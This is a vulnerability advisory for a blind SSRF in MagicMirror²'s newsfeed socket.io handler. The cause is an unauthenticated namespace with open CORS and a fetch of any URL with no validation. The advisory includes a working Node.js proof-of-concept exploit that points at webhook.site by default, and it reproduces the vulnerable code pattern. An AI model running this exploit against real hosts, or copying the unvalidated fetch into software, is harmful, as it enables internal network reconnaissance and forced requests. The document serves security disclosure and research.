Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)

Analysis of the PoC exploit-ssrf-newsfeed.js. Target: newsfeed/node_helper.js of MagicMirror², socket.io namespace /newsfeed.

Identification

Description

The checkArticleUrl() function in newsfeed/node_helper.js runs fetch(url, { method: "HEAD" }) with zero validation of the URL and returns ARTICLE_URL_STATUS { url, canFrame }.

This gives the attacker a boolean + timing oracle to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a "blind-ish" SSRF — the attacker doesn't see the body, but forces the server-side request and observes the effect on the target.

The actual proof is observed on the target side (the server-side HEAD shows up in the internal service's log), since the canFrame field alone leaks little.

Root cause: unauthenticated socket.io channel + permissive CORS

The socket.io server accepts connections from any origin and with no authentication:

const io = new Server(server, {
  cors: { origin: /.*$/, credentials: true }
});

The /newsfeed namespace registers the handler without checking who is connected (CWE-306). Any process or browser tab that can reach the mirror's port can emit the notification.

Exploit (exploit-ssrf-newsfeed.js)

const { io } = require("socket.io-client");
const TARGET = process.env.MM || "https://target/";
const URL_TO_HIT = process.env.SSRF_URL || "https://webhook.site";
const socket = io(`${TARGET}/newsfeed`, { path: "/socket.io", transports: ["websocket", "polling"] });

socket.onAny((event, payload) => {
	if (event === "ARTICLE_URL_STATUS") {
		console.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);
		console.log("[!!!] Server performed a server-side HEAD request to the internal host (SSRF).");
		process.exit(0);
	}
});
socket.on("connect", () => {
	console.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -> ${URL_TO_HIT}`);
	socket.emit("CHECK_ARTICLE_URL", { url: URL_TO_HIT });
});
setTimeout(() => { console.log("[*] timeout"); process.exit(1); }, 12000);

Vulnerable target code (pattern)

async checkArticleUrl(url) {
  const res = await fetch(url, { method: "HEAD" });
  const canFrame = !res.headers.get("x-frame-options")
                && !/frame-ancestors/i.test(res.headers.get("content-security-policy") || "");
  this.sendSocketNotification("ARTICLE_URL_STATUS", { url, canFrame });
}

Impact

• Internal network scanning / port scanning: presence, absence, and response time reveal which internal hosts and ports are alive.
• Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the mm-internal log referenced by the PoC).
• Although it's HEAD (no body), it serves as a reconnaissance primitive and a trigger for side effects on endpoints that react to GET/HEAD.

References

• CWE-918: Server-Side Request Forgery (SSRF)
• CWE-306: Missing Authentication for Critical Function
• CWE-942: Permissive Cross-domain Policy with Untrusted Domains
• OWASP: SSRF Prevention Cheat Sheet

This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.